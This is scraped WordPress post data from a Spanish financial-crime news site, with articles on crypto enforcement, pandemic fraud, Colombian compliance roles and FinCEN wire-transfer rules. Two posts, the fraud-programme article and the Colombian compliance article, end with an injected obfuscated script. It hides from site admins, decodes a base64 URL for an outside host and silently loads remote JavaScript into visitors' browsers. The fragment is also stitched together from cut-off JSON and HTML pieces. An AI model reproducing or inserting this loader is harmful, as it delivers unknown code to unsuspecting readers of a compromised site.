srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular Externa No. 100-000006 de 2016 de la Superintendencia de Sociedades, que regula el <b><u>Sistema de Autocontrol y Gesti\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SAGRLAFT),<\/u><\/b> establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional<\/u><\/b>.\n\nPor lo anterior, tenemos en Colombia tres figuras:\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">1.       Oficial de Cumplimiento para SARLAFT (Sistema de Administraci\u00f3n de Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">2.       Oficial de Cumplimiento para SARS (Sistema de Administraci\u00f3n de Riesgo de Soborno).<\/p>\n<p style=\"text-indent: -.25in; mso-list: l1 level1 lfo1;\">3.       Contralor Normativo.<\/p>\nLas funciones de los casos mencionados se encuentran definidas en las normas respectivas, sin perder de vista que su alcance depende del supervisor y de los riesgos que debe contener, como es el caso del riesgo de lavado de activos y la financiaci\u00f3n del terrorismo; el riesgo de soborno y; los riesgos legales en las comisionistas de bolsa.\n\nEl coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, etc., adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d, lo cual puede ser cotejado en los estudios cient\u00edficos sobre la materia realizados por la Universidad John Hopkins (1), el Instituto de Salud Global de Barcelona (2) y la Organizaci\u00f3n Mundial de la Salud (3).\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con las donaciones; la necesidad de contar con modelos de riesgo diferenciales; y desde el punto de vista penal, el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el aumento en los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos.\n\nPasando al plano empresarial, y resaltando que no es el \u00fanico de los aspectos que debe tener en cuenta un <b><u>Oficial de Cumplimiento<\/u><\/b>, muchas organizaciones de todo el mundo ahora se ven obligadas a buscar formas creativas para enfrentar sus propios desaf\u00edos de administrar equipos descentralizados cuando el trabajo en casa o el distanciamiento social entran en acci\u00f3n, como es el caso de la protecci\u00f3n de datos y la privacidad de la informaci\u00f3n, ya que trabajar en forma remota genera varios riesgos que los profesionales de cumplimiento deben reconocer e intentar mitigar. En consecuencia, se presentan a continuaci\u00f3n los cuatro m\u00e1s importantes:\n<ol>\n \t<li>En primer lugar, los empleados pueden estar utilizando su propio equipo de tecnolog\u00eda de informaci\u00f3n que podr\u00eda compartir con otros miembros de la familia, quienes tambi\u00e9n est\u00e1n confinados en la misma casa. Esto aumenta la posibilidad de que los ni\u00f1os, que a menudo son m\u00e1s conocedores de tecnolog\u00eda de informaci\u00f3n, pero menos conscientes de los riesgos que sus padres, accedan a sitios web y material que no est\u00e1 permitido dentro de los l\u00edmites de la oficina y eludan o ignoran los protocolos de seguridad habituales.<\/li>\n \t<li>En segundo lugar, el equipo de tecnolog\u00eda puede ser viejo y no haber sido instalado regularmente con las \u00faltimas actualizaciones de seguridad que normalmente alertar\u00edan a los usuarios sobre posibles malware o detectar virus. Como resultado, los incidentes de ciberataques y violaciones de datos podr\u00edan aumentar a medida que aumenta el n\u00famero de correos electr\u00f3nicos sospechosos y estafas de phishing.<\/li>\n \t<li>En tercer lugar, las organizaciones pueden encontrarse confiando en aplicaciones, software y herramientas de colaboraci\u00f3n para video o teleconferencias, que en el pasado no quisieron adoptar debido a temores de seguridad inform\u00e1tica y de cumplimiento.<\/li>\n \t<li>Cuarto, en industrias altamente reguladas, como los servicios financieros, es especialmente importante que las organizaciones recopilen, almacenen y archiven todas las comunicaciones de los empleados para garantizar su cumplimiento y para su uso en cualquier investigaci\u00f3n futura potencial. Las funciones de cumplimiento deber\u00e1n encontrar una manera de lograr esto, incluso mientras la fuerza laboral pueda estar trabajando de forma remota y en diferentes plataformas y dispositivos.<\/li>\n<\/ol>\n Si una empresa se enfrenta una interrupci\u00f3n de la cadena de suministro o de las adquisiciones durante esta crisis, existe la posibilidad de que esta se vea presionada para involucrar a nuevos proveedores sin llevar a cabo el nivel adecuado de debida diligencia.\n\nDe los ejemplos mencionados, se pueden desprender las siguientes recomendaciones para los Oficiales de Cumplimiento:\n\n\u2022             Revisar todos los contratos de nuevos proveedores para garantizar que se incorporen los t\u00e9rminos legales apropiados.\n\n\u2022             Revisar las facturas y pagos de proveedores por cualquier se\u00f1al de alerta o anomal\u00edas, y monitorear la conducta para asegurarse de que cumpla con los requisitos reglamentarios y contractuales aplicables.\n\n\u2022             Aplicar un modelo de diligencia debida de terceros diferencial a las contrapartes de acuerdo con su nivel de riesgo.\n\n\u2022             Validar si es necesario la modificaci\u00f3n de pol\u00edticas, procedimientos y controles para responder a los desaf\u00edos de la pandemia.\n\n\u2022             Documentarse y comunicar tanto al interior de la organizaci\u00f3n como a sus contrapartes externas los cambios que se hayan realizado a las pol\u00edticas, procedimientos y controles respectivos.\n\n\u2022             Conservar los soportes documentales de la diligencia debida en una plataforma electr\u00f3nica o base de datos adecuada, para que el cumplimiento de los procedimientos pueda ser auditado posteriormente.\n\nPor \u00faltimo, el hecho de que la mayor parte del negocio funcione en forma remota no significa que no tengan que cumplir con las reglas, solo significa que este proceso podr\u00eda ser un poco m\u00e1s desafiante y lento, por lo que se debe contarse con un Plan de Continuidad del Negocio (ISO 223101 de 2012) en el que la funci\u00f3n del Oficial de Cumplimiento es vital a fin de validar que se lleven a cabo cambios que sean necesarios y garanticen que las funciones esenciales puedan continuar durante y despu\u00e9s de la pandemia.\n\n <b>*Juan Pablo Rodr\u00edguez C.<\/b>\n\nAbogado Penalista\n\nEscritor, conferencista y consultor internacional.\n\nCertified Lead Auditor y Lead Implementer en ISO 37001 Gesti\u00f3n Antisoborno, PECB, 2020\n\nCertified Professional in Anti-Money Laundering \u2013 CPAML de FIBA (Florida International Bankers Association).\n\nCertified on Governance, Risk Management and Compliance Professional (GRCP) y GRC Fundamentals de Open Compliance and Ethics Group (OCEG), 2016\n\nPresidente y Socio de RICS Management.\n\njrodriguez@ricsmanagement.com\n\n <b>**Ren\u00e9 M. Castro V.<\/b>\n\nContador P\u00fablico con Magister en Contabilidad y Auditor\u00eda de Gesti\u00f3n de la Universidad de Santiago de Chile.\n\nEscritor, conferencista y consultor internacional.\n\nCertified Trainer y Lead Compliance Manager en ISO 19600 Gesti\u00f3n de Cumplimiento, PECB, 2020\n\nCertified on Financial Services and Market Regulation, London School of Economics, (LSE), 2016\n\nCertified on Corporate Compliance and Ethics, New York University, 2015.\n\nVice-Presidente & Socio RICS Management\n\nrcastro@ricsmanagement.com\n\n <u>Referencias<\/u>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">1-        https:\/\/coronavirus.jhu.edu\/map.html<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">2-        https:\/\/www.isglobal.org\/covid-19-novedades-cientificas<\/p>\n<p style=\"text-indent: -.25in; mso-list: l0 level1 lfo3;\">3.         https:\/\/www.who.int\/es\/emergencies\/diseases\/novel-coronavirus-2019\/advice-for-public\/q-a-coronaviruses<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las 